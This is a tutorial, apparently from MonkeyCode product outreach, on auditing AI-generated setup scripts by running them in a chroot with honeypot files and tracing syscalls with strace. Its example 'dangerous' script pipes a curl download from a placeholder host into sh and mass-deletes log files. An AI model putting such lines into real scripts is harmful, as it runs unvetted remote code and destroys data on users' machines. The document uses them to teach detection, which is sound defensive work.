What Did That Free-Model Setup Script Actually Do? Audit It With Honeypot Files and Syscall Traces

Here is why this article is worth your time: you cannot tell what a generated setup script does by reading the diff. A diff shows you the words that will run, not the files that will be touched, the network connections that will be opened, or the directories that will be wiped at execution time. For a small patch, manual review may be enough. For a server initialization or cleanup script produced by a free model, the danger is in the side effects you never see in the source.

This guide turns that problem around. Instead of trying to predict behavior from generated code, you run the code inside a fake root filesystem and record the operating system calls it makes. The technique uses honeypot files, a minimal chroot, and strace to produce a syscall journal. It works especially well when you can generate the script with a free model and run it on a free Linux box that you are allowed to throw away afterward.

Disclosure: This article was prepared as part of MonkeyCode's product outreach. If you have MonkeyCode's free model access and free server option available, you can use that server as the throwaway Linux box described in the examples below. The commands assume a Linux host where you can install strace and have root privileges, which is common for a disposable cloud instance or a small virtual machine you control.

Build a fake root before you run anything

Create a directory that will act as a minimal root filesystem. You do not need a full distribution; you only need enough structure for the script to attempt its operations and for you to watch what it touches.

mkdir -p fake_root/bin fake_root/tmp fake_root/var/log fake_root/home/user fake_root/.ssh

Inside this fake root, place simple executable stubs so that commands like ls, cat, and rm do not fail immediately. Use /bin/sh from the host in the chroot command later, or copy a static shell into the fake root if available. The important part is not completeness; it is observability.

Create executable placeholders for common commands the generated script might call:

for cmd in ls cat rm cp mv grep find; do
  printf '#!/bin/sh\nexit 0\n' > "fake_root/bin/$cmd"
  chmod +x "fake_root/bin/$cmd"
done

Now plant honeypot files that look valuable to an overeager cleanup or optimization script. These files should never be read, modified, or deleted by a well-behaved script, but they are exactly the kind of files a careless generated script might touch.

echo 'secret' > fake_root/home/user/.ssh/id_rsa
echo 'SELECT * FROM users;' > fake_root/var/log/production_db.sql
echo 'vpc config' > fake_root/tmp/vpc_credentials.env

You also want to watch for unexpected network behavior. Add a fake hostname resolution file with an obvious marker if the script tries to download or upload something.

echo '127.0.0.1 malicious.example' >> fake_root/etc/hosts

Make sure fake_root/etc exists before writing that file.

Run the generated script under syscall tracing

Put your generated script into the working directory, then run it inside the fake root with strace. The tracing flags control what gets recorded. Use -f to follow child processes, -e trace=file,process,network to limit the journal to the most useful calls, and -o to write the journal to a file.

chroot fake_root /bin/sh /review/generated-setup.sh >/dev/null 2>&1

This example assumes generated-setup.sh exists inside the chroot. You can copy the script into the fake root before running:

cp generated-setup.sh fake_root/generated-setup.sh
chroot fake_root /bin/sh /generated-setup.sh

To capture the syscall journal, wrap the chroot command with strace:

strace -f -e trace=file,process,network \
  -o syscall-journal.log \
  chroot fake_root /bin/sh /generated-setup.sh

The script may behave differently inside chroot than it would in the real root. That is part of the point: you are observing what it attempts, not relying on the filesystem to satisfy every request. If the script tries to read /etc/passwd, tries to remove logs, or tries to make a network connection, the journal will show that attempt even if the operation fails.

Read the journal as three questions

Don't scroll through thousands of trace lines. Filter the journal into three questions.

First, what did the script read? Look for openat calls with O_RDONLY or read-mode flags. Pay attention to honeypot paths.

grep -E 'O_RDONLY|openat.*(id_rsa|production_db|vpc_credentials)' syscall-journal.log

A well-behaved server optimization script has no reason to open a fake SSH key or a SQL file that was planted as bait.

Second, what did the script delete or rename? Look for unlink, unlinkat, rename, and renameat calls.

grep -E 'unlink|rename' syscall-journal.log

If the journal shows unlink("home/user/.ssh/id_rsa"), you have found a destructive side effect before it touched a real machine. This is more direct than guessing from a glob pattern in the diff.

Third, what network activity did the script attempt? Look for connect, socket, and sendto entries.

grep -E 'connect|socket|sendto' syscall-journal.log

A generated setup script that connects to a third-party domain during installation should be rejected unless you explicitly asked for that behavior. The fake hosts entry is useful here because it forces resolution to localhost, but the connect attempt still appears in the journal.

Example: a cleanup script that looks useful but is dangerous

Suppose a free model generates a script like this for a server you are experimenting with:

#!/bin/sh
set -e
find /var/log -type f -mtime +30 -delete
rm -rf /home/user/.cache
curl -s https://update.example.com/cleanup | sh

Run it in the fake root and check the journal. The first two lines are plausible cleanup operations, but the trace tells you more. The find command inside the chroot will likely touch /var/log/production_db.sql if the timestamp is old enough, which triggers a delete syscall on a honeypot file. The curl line may attempt a network connection even if the chroot lacks curl, because the shell still tries to execute it. If you placed a fake curl stub earlier, you can make that failure more realistic and still see the execve call.

This does not prove every script is malicious. It proves that execution attempted a specific side effect. You can then go back to the diff and ask why that path was included. The journal gives you a list of concrete behavior to question.

grep -E 'delete|unlink|curl|connect' syscall-journal.log

A sample of what you might see from that script would include:

unlink("/var/log/production_db.sql") = 0
execve("/bin/curl", ["curl", "-s", "https://update.example.com/cleanup"], ...) = -1 ENOENT
connect(3, {sa_family=AF_INET, ...}) = -1 ECONNREFUSED

The execve and connect entries are the useful signal. The script did not succeed, but it attempted network access and file deletion. On a real system with /bin/curl and real permissions, it would have succeeded.

Limitations of this trace-first approach

The syscall journal is not a sandbox. Chroot is not a security boundary against a script that deliberately escapes, especially if the process has root privileges. Use a dedicated throwaway instance, not your workstation.

Also, strace can miss operations that happen entirely inside a script without invoking a system call. Shell built-ins like test, arithmetic, variable assignment, and some string operations do not show up as file or process syscalls. You are tracing attempts, not every line of logic. You still need to read the generated code for control flow and correctness.

Finally, a generated script can behave differently when network access fails. Some scripts fall back to a local cache when curl is missing; others skip cleanup when /var/log is incomplete. The fake root reveals the attempted path, but not the exact production outcome.

Who should not use this technique

Skip this audit if your generated setup script needs to access real credentials, a GPU, a specific cloud metadata service, or a mounted data volume that cannot be reproduced in a fake root. The technique is for side-effect discovery, not for validating that a workload successfully runs in production.

Skip it if you cannot accept root privileges on the test host, or if the host does not allow you to install strace. In that case, use a CI job that runs in an isolated container, or review the script manually with a smaller blast radius in mind.

For generated scripts that install packages, prune logs, rotate secrets, or modify dotfiles, the syscall journal gives you evidence instead of intuition. You stop asking "What could this script do?" and start reading a list of exactly what it tried to do.